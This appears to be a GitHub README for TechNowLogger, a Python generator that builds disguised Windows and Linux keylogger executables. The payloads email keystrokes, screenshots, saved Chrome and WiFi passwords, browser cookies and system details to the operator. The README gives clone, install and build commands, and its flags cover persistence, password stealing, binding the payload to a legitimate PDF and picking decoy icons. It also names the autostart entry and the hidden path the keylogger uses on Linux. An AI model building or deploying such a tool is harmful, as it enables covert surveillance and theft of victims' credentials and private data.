TechNowLogger is Windows/Linux Keylogger Generator which sends key-logs via email with other juicy target info
This small python script can do really awesome work.
TechNowLogger is Keylogger Generator for Windows/Linux, which sends key-logs & screenshot via email with other juicy target info written in Python 3.
:computer: This project was created only for good purposes and personal use.
THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. YOU MAY USE THIS SOFTWARE AT YOUR OWN RISK. THE USE IS COMPLETE RESPONSIBILITY OF THE END-USER. THE DEVELOPERS ASSUME NO LIABILITY AND ARE NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY THIS PROGRAM.
| Built-in Stealer Can Steal These Things : | | ----------------------------------------------------------- | | Chrome Browser (Saved Password) | | WiFi (Saved Password) | | Chrome Cookies (Login Data, Cookies, History) | | Firefox Cookies (cookies.sqlite) |
| These Things are Grabbed & Sended: | | -----------------------------------| | Operating System | | Computer Name | | User Name | | Public IPv4 |
# Navigate to the /opt directory (optional) $ cd /opt/Clone this repository
$ git clone https://github.com/PushpenderIndia/technowlogger.git
Navigate to technowlogger folder
$ cd technowlogger
Installing dependencies
$ bash installer_linux.sh
* Note When The Python Installer DialogBox Appear while executing installer_linux.sh * * Click on custom install * Select Path to : C:/Python37-32 ### So that the python is installed in this path (Inside Wine) : ~/.wine/drive_c/Python37-32
If you are getting any errors while executing installer_linux.sh, try to install using installer_linux.py
$ python3 installer_linux.py
$ chmod +x technowgen.py $ python3 technowgen.py --help
Making Payload/RAT
$ python3 technowgen.py -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path
Note: You can also use our custom icons from the icon folder, just use them like this --icon icon/pdf.ico
# Install dependencies $ Install latest python 3.xClone this repository
$ git clone https://github.com/PushpenderIndia/technowlogger.git
Go into the repository
$ cd technowlogger
Installing dependencies
$ python -m pip install -r requirements.txt
Open technowgen.py in Text editor and Configure Line 16 WINDOWS_PYTHON_PYINSTALLER_PATH = "C:/Python37-32/Scripts/pyinstaller.exe"
Getting Help Menu
$ python technowgen.py --help
Making Payload/RAT
$ python technowgen.py -e [email protected] -p YourEmailPass -w -o output_file_name --icon icon_path
Note: You can also use our custom icons from the icon folder, just use them like this --icon icon/pdf.ico
| Short Hand | Full Hand | Description | | ---------- | --------- | ----------- | | -h | --help | show this help message and exit | | -i INTERVAL | --interval INTERVAL | Time between reports in seconds. default=120| | -t TIMEPERSISTENT | --persistence TIMEPERSISTENT | Becoming Persistence After __ seconds. default=10 | | -w | --windows | Generate a Windows executable. | | -l | --linux | Generate a Linux executable. | | -s | --steal-password | Steal Saved Password from Victim Machine [Supported OS : Windows] | | -b file.txt | --bind LEGITIMATEFILEPATH.pdf | AutoBinder : Specify Path of Legitimate file. [Supported OS : Windows] | | -d | --debug | Payload Will Run In Foreground with CMD Window, To get Appropriate Execution Error |
| Short Hand | Full Hand | Description | | ---------- | --------- | ----------- | | | --icon ICON | Specify Icon Path, Icon of Evil File [Note : Must Be .ico] | | -e EMAIL | --email EMAIL | Email address to send reports to. | | -p PASSWORD | --password PASSWORD | Password for the email address given in the -e argument. | | -o OUT | --out OUT | Output file name.|
Try to Run Offline Keylogger in order to test Offline Key logs capturing & Debug keylogger issues by running these commands:
Run test_key.py In both the modes [Compiled & Raw] and figure out whats the error
Run it like this :
python test_key.py
Also Compile it like this:
pyinstaller --onefile test_key.py --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=pynput.keyboard
After running it, Start typing something, Result will be displayed on the Command prompt after every 10 seconds
Offline keylogger's files are present in TestKeylogger Folder
1. Create a new payload with --debug flag 2. Run payload exe throught cmd [Don't Execute Payload By Double Clicking It] 3. It will now give more appropriate error in CMD, just put that issue in Issue Section
Remove these 5 lines:
[Desktop Entry] Type=Application X-GNOME-Autostart-enabled=true Name=Xinput Exec="destination_file_name"
Note: destinationfilename is that name of evil_file which you gave to your Keylogger using -o parameter
Reboot your system and then delete the evil file stored this this below path
Destination Path, where Keylogger is stored : ~/.config/xnput